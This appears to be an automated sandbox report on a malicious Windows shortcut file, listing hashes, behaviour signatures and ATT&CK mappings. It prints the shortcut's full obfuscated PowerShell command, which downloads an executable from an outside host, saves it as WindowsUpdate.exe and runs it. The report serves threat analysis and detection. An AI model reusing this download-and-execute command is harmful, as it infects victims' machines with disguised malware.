f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166

Analysis

max time kernel
118s
max time network
118s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
10/04/2024, 14:59

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General

Target

f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166.lnk
Size

1KB
MD5

efcff826fa14c23c9abcd53e0a148383
SHA1

f79f22761707f666178f8855fcfb95a46065dd21
SHA256

f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166
SHA512

c27f5edcd4b12500af5a7a46541bd0e6fda71bcce954e8a40138fe812adca4fb0fb46d442c3d420dfcba0937484a1ad106fb3aa94c04a2c15727d1f0a0fb45a5

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://001000100.xyz/soft/upd03212.exe

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1152	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1152	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 2792	3024	cmd.exe	29
PID 3024 wrote to memory of 2792	3024	cmd.exe	29
PID 3024 wrote to memory of 2792	3024	cmd.exe	29
PID 2792 wrote to memory of 1152	2792	cmd.exe	30
PID 2792 wrote to memory of 1152	2792	cmd.exe	30
PID 2792 wrote to memory of 1152	2792	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\f6ae1d54de68b48ba8bd5262233edaec6669c18f05f986764cf9873ce3247166.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://001'+'000'+'100.x'+'yz'+'/so'+'ft'+'/upd'+'03'+'212.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; Im`Po`RT`-modULe bItsTR`Ans`Fer; STArt-b`IT`sT`R`AN`SF`ER -Source "('ht'+'tp'+'://001'+'000'+'100.x'+'yz'+'/so'+'ft'+'/upd'+'03'+'212.e'+'xe')" -Destination $ENV:TEMP\WindowsUpdate.exe ;.('cd') ${eNv:TEMP}; ./`WindowsUpdate.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1152

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1152-40-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/1152-41-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/1152-42-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-43-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1152-44-0x000000001B4D0000-0x000000001B4F2000-memory.dmp

Filesize
136KB

Download
memory/1152-45-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

Filesize
9.6MB

Download
memory/1152-46-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1152-47-0x00000000028C0000-0x0000000002940000-memory.dmp

Filesize
512KB

Download
memory/1152-48-0x0000000002DD0000-0x0000000002DE2000-memory.dmp

Filesize
72KB

Download
memory/1152-49-0x000007FEF5590000-0x000007FEF5F2D000-memory.dmp

Filesize
9.6MB

Download